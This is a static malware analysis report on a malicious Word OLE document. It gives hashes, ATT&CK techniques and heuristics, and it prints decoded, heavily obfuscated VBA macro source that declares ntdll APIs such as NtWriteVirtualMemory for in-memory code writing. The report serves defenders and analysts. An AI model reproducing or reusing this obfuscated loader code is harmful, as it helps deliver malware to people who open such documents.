Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3ae5b3edb850c06…

MALICIOUS

Office (OLE)

219.5 KB Created: 2018-02-01 14:09:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 772fe7d17fb4589cb3bf3b44a27abc4c SHA-1: a9196849a17c986e639a1544fc3775dc59daa105 SHA-256: a3ae5b3edb850c0655411e8d2dd302a5c53ab631843e107cbecae21faccc59b1
82 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OLE document containing VBA macros, which are commonly used to deliver malicious payloads. The 'SE_ENABLE_LURE' heuristic indicates the document likely prompts the user to enable macros. The VBA code itself is heavily obfuscated but uses Windows API calls such as 'NtWriteVirtualMemory', suggesting it attempts to write and execute code in memory, likely downloading a second-stage payload. The large slack space in the OLE structure is also anomalous and could be used to hide malicious content.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 224,768 bytes but its declared streams total only 123,698 bytes — 101,070 bytes (45%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3117 bytes
SHA-256: 6695d369c587722833f2a45ea207c6e96a502cc2852cba0739b14f6dde8d16a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "milonos"
#If (16 - 92 + 476 + 115 - 59 + 244) > ((59 - 37 + 298) - (79 - 55 + 516) * 1) And Not ((95 - 15 - 52) - (104 - 128 + 52)) * 2 < (Win64) Then
Public Declare Function antarctic _
Lib "Shlwapi.dll  " Alias _
"SleepConditionVariableSRW" (ByVal puerility As Any, noddy As Any, protector As Any, charter As Any) As Long
Public Declare Function flog _
Lib "ntdll   " Alias _
"AcquireSRWLockShared" (pettily As Any) As Long
Public Declare Function globated _
Lib "ntdll   " Alias _
"NtWriteVirtualMemory" (ByVal meaning As Any, ByVal puzzling As Any, ByVal coldblooded As Any, ByVal clement As Any, ByVal lepidothamnus As Any) As Long
#End If

Function pictorially()
Dim pyrolusite(255) As Byte
carica = 70 - 76 + 71
For i = carica To (36 - 84 + 139)
pyrolusite(carica) = carica - (25 - 94 + 134)
carica = carica + 1
If athanor > (47 - 36 + 80) Then Exit For
Next
carica = (4 - 71 + 115)
For i = carica To (67 - 48 + 39)
pyrolusite(carica) = carica + (107 - 48 - 55)
carica = carica + 1
If athanor > (69 - 61 + 50) Then Exit For
Next
carica = (14 - 36 + 119)
For i = carica To (74 - 48 + 97)
pyrolusite(carica) = carica - (1 - 81 + 151)
carica = carica + 1
If athanor > (55 - 15 + 83) Then Exit For
Next
pyrolusite(83 - 82 + 46) = (87 - 84 + 60)
carica = (66 - 97 + 74)
pyrolusite(carica) = (4 - 76 + 134)
pictorially = pyrolusite
End Function
Function crassulaceae(dehort)
Dim staircase As Byte
Dim awed As Variant
Dim dispensary As Integer
Dim cadj As Variant
#If (44 - 109 + 465 + 34 - 109 + 375) > ((64 - 68 + 324) - (13 - 44 + 571) * 1) And ((97 - 61 - 8) - (3 - 73 + 98)) * 2 < (Win64) Then
Dim coffin As String
Dim clinopodium As LongPtr
certhia = 20 - 16 + 4
Dim flexibly As LongPtr
Dim birdnesting As Byte
Dim least As String
Dim medial As LongPtr
Dim arousal As Variant
notice = VarPtr(clinopodium)
everliving = apia(notice, VarPtr(dehort) + (89 - 34 - 47), certhia)
#ElseIf (31 - 47 + 416 + 15 - 70 + 355) > ((76 - 67 + 311) - (113 - 39 + 466) * 1) And Not ((54 - 112 + 86) - (127 - 51 - 48)) * 2 < (Win64) Then
Dim clinopodium As Long
certhia = 46 - 17 - 25
Dim flexibly As Long
Dim medial As Long
#End If
notice = VarPtr(clinopodium)
everliving = darwinian(notice, VarPtr(dehort) + (83 - 111 + 36), certhia)
collate = 36 - 9 - 28
flexibly = 94 - 116 + 22
dipodomys = 41 - 60 + 19
medial = 99 - 88 + 9371
calenture = 85 - 42 + 4053
improvise = 44 - 28 + 48
mawkishly = improvements(ByVal collate, _
flexibly, ByVal dipodomys, medial, ByVal calenture, _
ByVal improvise)
padding = Rnd(432)

breastplate = Math.Round(173)

darwinian flexibly, clinopodium, 15 - 108 + 5976
triune = 55 + 19
 Pmt 0, triune, 20659, 43052, 8

crassulaceae = flexibly
End Function


Attribute VB_Name = "pipette"
Attribute VB_Base = "0{D412E8AC-57F7-43F4-AC4E-BDB8BD383E11}{B4B580E7-7BB7-4916-8F1B-AFE2C79CBD2D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Open this report in the interactive analyzer, or submit your own file for analysis.